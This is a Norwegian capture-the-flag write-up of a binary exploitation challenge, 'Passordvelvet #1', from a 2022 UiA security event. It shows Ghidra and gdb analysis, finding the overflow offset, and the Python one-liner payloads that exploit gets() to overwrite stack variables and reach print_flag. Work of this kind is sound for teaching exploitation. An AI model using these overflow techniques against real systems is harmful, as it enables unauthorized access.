View on GitHub

Sikkerhetsdagen 2022 CTF @ UiA

Passordvelvet #1

Vi har lagt et sikkert passordvelv, klarer du å komme deg inn?

ctf.uiactf.no:4001

File: passordvelvet

$ file passordvelvet
passordvelvet: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dbf580bd679a493f88c9855cd04ee8037f74569a, not stripped

Vi ser at passordvelvet er en 64-bit ELF executable. Filen er ikke strippet for debugsymboler.

$ checksec passordvelvet
[*] '/home/hag/ctfuiano/passordvelvet-1/passordvelvet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Jeg åpner passordvelvet i Ghidra for å gjøre en statisk analyse av filen.

Her ser vi en disassembly og pseudo C-kode for main-metoden.

Vi ser at print_flag-metoden gir oss flagget.

Vi må altså sørge for å gi en input til programmet som tar oss til print_flag-metoden.

Vi ser to forskjellige sjekker for å komme til print_flag.

Binary exploitation er ikke min sterkeste side og jeg er rusten med både Ghidra, gdb og r2, men la oss prøve.

Vi vet at vi har en buffer overflow-svakhet i bruken av gets. Dersom vi klarer å overskrive varablene local_18 og local_48 i minnet med de rette verdiene så ender vi opp med å kjøre print_flag-metoden.

Jeg bruker gdb med gef.

$ gdb passordvelvet

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001030  putchar@plt
0x0000000000001040  strncmp@plt
0x0000000000001050  puts@plt
0x0000000000001060  fclose@plt
0x0000000000001070  printf@plt
0x0000000000001080  fgetc@plt
0x0000000000001090  gets@plt
0x00000000000010a0  setvbuf@plt
0x00000000000010b0  fopen@plt
0x00000000000010c0  exit@plt
0x00000000000010d0  __cxa_finalize@plt
0x00000000000010e0  _start
0x0000000000001110  deregister_tm_clones
0x0000000000001140  register_tm_clones
0x0000000000001180  __do_global_dtors_aux
0x00000000000011c0  frame_dummy
0x00000000000011c5  print_flag
0x000000000000123a  main
0x0000000000001380  __libc_csu_init
0x00000000000013e0  __libc_csu_fini
0x00000000000013e4  _fini
gef➤

Vi ser både main og print_flag i metodelisten. La oss se nærmere på main, men vi må kjøre programmet én gang først for å få de riktige minneadressene:

gef➤  r
Starting program: /home/hag/ctfuiano/passordvelvet-1/passordvelvet
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: d
Beklager, sikkerhetslåsen 0x1337 er ikke riktig satt :(
Forsøk 1 av 3
Skriv passordet:
Beklager, sikkerhetslåsen 0x1337 er ikke riktig satt :(
Forsøk 2 av 3
Skriv passordet:
Beklager, sikkerhetslåsen 0x1337 er ikke riktig satt :(
Brukt alle forsøk, prøv igjen senere...[Inferior 1 (process 12053) exited with code 051]
gef➤
gef➤  disas main
Dump of assembler code for function main:
   0x000055555555523a <+0>:     push   rbp
   0x000055555555523b <+1>:     mov    rbp,rsp
   0x000055555555523e <+4>:     sub    rsp,0x40
   0x0000555555555242 <+8>:     mov    QWORD PTR [rbp-0x10],0x1337
   0x000055555555524a <+16>:    mov    QWORD PTR [rbp-0x40],0x0
   0x0000555555555252 <+24>:    mov    QWORD PTR [rbp-0x38],0x0
   0x000055555555525a <+32>:    mov    QWORD PTR [rbp-0x30],0x0
   0x0000555555555262 <+40>:    mov    QWORD PTR [rbp-0x28],0x0
   0x000055555555526a <+48>:    mov    rax,QWORD PTR [rip+0x2e1f]        # 0x555555558090 <stdin@@GLIBC_2.2.5>
   0x0000555555555271 <+55>:    mov    ecx,0x0
   0x0000555555555276 <+60>:    mov    edx,0x2
   0x000055555555527b <+65>:    mov    esi,0x0
   0x0000555555555280 <+70>:    mov    rdi,rax
   0x0000555555555283 <+73>:    call   0x5555555550a0 <setvbuf@plt>
   0x0000555555555288 <+78>:    mov    rax,QWORD PTR [rip+0x2df1]        # 0x555555558080 <stdout@@GLIBC_2.2.5>
   0x000055555555528f <+85>:    mov    ecx,0x0
   0x0000555555555294 <+90>:    mov    edx,0x2
   0x0000555555555299 <+95>:    mov    esi,0x0
   0x000055555555529e <+100>:   mov    rdi,rax
   0x00005555555552a1 <+103>:   call   0x5555555550a0 <setvbuf@plt>
   0x00005555555552a6 <+108>:   lea    rdi,[rip+0xd9b]        # 0x555555556048
   0x00005555555552ad <+115>:   call   0x555555555050 <puts@plt>
   0x00005555555552b2 <+120>:   mov    DWORD PTR [rbp-0x4],0x0
   0x00005555555552b9 <+127>:   jmp    0x555555555358 <main+286>
   0x00005555555552be <+132>:   mov    eax,DWORD PTR [rbp-0x4]
   0x00005555555552c1 <+135>:   mov    esi,eax
   0x00005555555552c3 <+137>:   lea    rdi,[rip+0xdac]        # 0x555555556076
   0x00005555555552ca <+144>:   mov    eax,0x0
   0x00005555555552cf <+149>:   call   0x555555555070 <printf@plt>
   0x00005555555552d4 <+154>:   lea    rdi,[rip+0xdac]        # 0x555555556087
   0x00005555555552db <+161>:   mov    eax,0x0
   0x00005555555552e0 <+166>:   call   0x555555555070 <printf@plt>
   0x00005555555552e5 <+171>:   lea    rax,[rbp-0x40]
   0x00005555555552e9 <+175>:   mov    rdi,rax
   0x00005555555552ec <+178>:   mov    eax,0x0
   0x00005555555552f1 <+183>:   call   0x555555555090 <gets@plt>
   0x00005555555552f6 <+188>:   movabs rax,0x646167656e
   0x0000555555555300 <+198>:   cmp    QWORD PTR [rbp-0x10],rax
   0x0000555555555304 <+202>:   jne    0x55555555533c <main+258>
   0x0000555555555306 <+204>:   lea    rax,[rbp-0x40]
   0x000055555555530a <+208>:   mov    edx,0xa
   0x000055555555530f <+213>:   lea    rsi,[rip+0xd83]        # 0x555555556099
   0x0000555555555316 <+220>:   mov    rdi,rax
   0x0000555555555319 <+223>:   call   0x555555555040 <strncmp@plt>
   0x000055555555531e <+228>:   mov    DWORD PTR [rbp-0x14],eax
   0x0000555555555321 <+231>:   cmp    DWORD PTR [rbp-0x14],0x0
   0x0000555555555325 <+235>:   jne    0x55555555532e <main+244>
   0x0000555555555327 <+237>:   call   0x5555555551c5 <print_flag>
   0x000055555555532c <+242>:   jmp    0x555555555354 <main+282>
   0x000055555555532e <+244>:   lea    rdi,[rip+0xd6f]        # 0x5555555560a4
   0x0000555555555335 <+251>:   call   0x555555555050 <puts@plt>
   0x000055555555533a <+256>:   jmp    0x555555555354 <main+282>
   0x000055555555533c <+258>:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000555555555340 <+262>:   mov    rsi,rax
   0x0000555555555343 <+265>:   lea    rdi,[rip+0xd76]        # 0x5555555560c0
   0x000055555555534a <+272>:   mov    eax,0x0
   0x000055555555534f <+277>:   call   0x555555555070 <printf@plt>
   0x0000555555555354 <+282>:   add    DWORD PTR [rbp-0x4],0x1
   0x0000555555555358 <+286>:   cmp    DWORD PTR [rbp-0x4],0x2
   0x000055555555535c <+290>:   jle    0x5555555552be <main+132>
   0x0000555555555362 <+296>:   lea    rdi,[rip+0xd8f]        # 0x5555555560f8
   0x0000555555555369 <+303>:   mov    eax,0x0
   0x000055555555536e <+308>:   call   0x555555555070 <printf@plt>
   0x0000555555555373 <+313>:   nop
   0x0000555555555374 <+314>:   leave
   0x0000555555555375 <+315>:   ret
End of assembler dump.

Vi vil se nærmere på sjekken som skjer ved addresse 0x0000555555555300.

0x0000555555555300 <+198>: cmp QWORD PTR [rbp-0x10],rax

Dette er den første sjekken. La oss sette et breakpoint her:

gef➤  b *0x0000555555555300
Breakpoint 2 at 0x555555555300

Vi lager oss også et cyclic pattern som vi kan bruke som input:

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'

Nå kjører vi programmet og sender inn strengen vi genererte:

gef➤  r
Starting program: /home/hag/ctfuiano/passordvelvet-1/passordvelvet
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Breakpoint 2, 0x0000555555555300 in main ()

Vi ser at vi treffer Breakpoint 2:

Vi kan se at $rax er 0x646167656e som forventet. $rax sammenlignes med [rbp-0x10] i cmp-instruksjonen og vi ser at [rbp-0x10] peker til en del av pattern‘et vi genererte.

La oss finne offset‘en:

gef➤  patter search maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Searching for 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
[+] Found at offset 48 (big-endian search)

Offset er 48. Nå kan vi begynne på payloaden vår. La oss bygge en payload med 48 bytes padding og legge til verdien vi vet at det sammenlignes med; 0x646167656e. Vi må reversere hver byte pga. endianness.

$ python -c 'print("A" * 48 + "\x6e\x65\x67\x61\x64")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad

La oss kjøre programmet igjen og bruke den nye payloaden vår som input:

gef➤  r
Starting program: /home/hag/ctfuiano/passordvelvet-1/passordvelvet
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad

Breakpoint 2, 0x0000555555555300 in main ()

Vi ser at vi treffer Breakpoint 2 igjen, men la oss nå se nærmere på [rbp-0x10]:

gef➤  x/s$rbp-0x10
0x7fffffffd880: "negad"
gef➤  x/5x$rbp-0x10
0x7fffffffd880: 0x6e    0x65    0x67    0x61    0x64

Vi ser at vi har oppnådd ønsket verdi i [rbp-0x10]. Vi kan nå sette et nytt breakpoint:

0x0000555555555319 <+223>: call 0x555555555040 <strncmp@plt>

Denne gangen setter vi et breakpoint på 0x0000555555555319 som er strncmp-metoden:

gef➤  b *0x0000555555555319
Breakpoint 3 at 0x555555555319

La oss kjøre programmet igjen med samme payload:

gef➤  r
Starting program: /home/hag/ctfuiano/passordvelvet-1/passordvelvet
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad

Breakpoint 2, 0x0000555555555300 in main ()

Vi treffer forsatt det første breakpoint’et, men la oss kjøre videre ved å trykke c:

gef➤  c
Continuing.

Breakpoint 3, 0x0000555555555319 in main ()

Vi treffer det neste breakpoint’et:

Dette betyr at vi har kommet forbi den første if-sjekken som forventet. Det som er enda mer interessant er at nå kan vi enkelt se hva som kommer til å skje i strncmp@plt:

strncmp@plt (
   $rdi = 0x00007fffffffd850 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAne[...]",
   $rsi = 0x0000555555556099 → "sikkerhets",
   $rdx = 0x000000000000000a
)

Her ser vi parametrene som klargjøres for strncmp-metoden. Vi ser at $rsi peker på strengen sikkerhets som er forventet basert på hva vi så i Ghidra.

$rdi derimot peker på starten av payloaden vår.

$rdx er satt til 0xA (10), dette er lengden på strengen som skal sammenlignes. Dette stemmer også overens med koden i Ghidra og lengden på strengen sikkerhets.

Vi vet nå at strncmp kommer til å feile fordi $rsi og $rdi har ulikt innhold. La oss oppdatere payloaden vår:

$ python -c 'print("sikkerhets" + "A" * 38 + "\x6e\x65\x67\x61\x64")'
sikkerhetsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad

Den nye payloaden vår ser slik ut; sikkerhetsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad. Vi har lagt til sikkerhets som første del av payloaden da vi vet at dette er den samme verdien som finnes i $rsi. I tillegg har vi fjernet 10 A‘er, slik at vi har 38 istedet for 48.

Vi tester den nye payloaden på samme måte som tidligere. r for å kjøre programmet på nytt, c for å hoppe over det første breakpoint‘et. Nå ser vi følgende:

strncmp@plt (
   $rdi = 0x00007fffffffd850 → "sikkerhetsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAne[...]",
   $rsi = 0x0000555555556099 → "sikkerhets",
   $rdx = 0x000000000000000a
)

Dette ser lovende ut! Vi fortsetter med c:

gef➤  c
Continuing.
Kunne ikke finne flagget. Kontakt CTF adm!
[Inferior 1 (process 12546) exited with code 01]

Kunne ikke finne flagget. Kontakt CTF adm!

Vi ser nå at vi har fått en melding fra print_flag-metoden. Som vi så i Ghidra tidligere ser print_flag-metoden etter en flag.txt-fil. Denne finnes ikke lokalt hos oss derfor får vi denne feilmeldingen. La oss prøve payloaden vår på den eksterne tjenesten:

$ nc ctf.uiactf.no 4001
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: sikkerhetsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad
UIACTF{må være forsiktig med brukerinput}

Suksess! 🤓😁👍🏻

La oss avslutte med en enkel oneliner for å lese ut flagget:

$ python -c 'print("sikkerhets" + "A" * 38 + "\x6e\x65\x67\x61\x64")' | nc ctf.uiactf.no 4001
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: UIACTF{må være forsiktig med brukerinput}

Flag

UIACTF{må være forsiktig med brukerinput}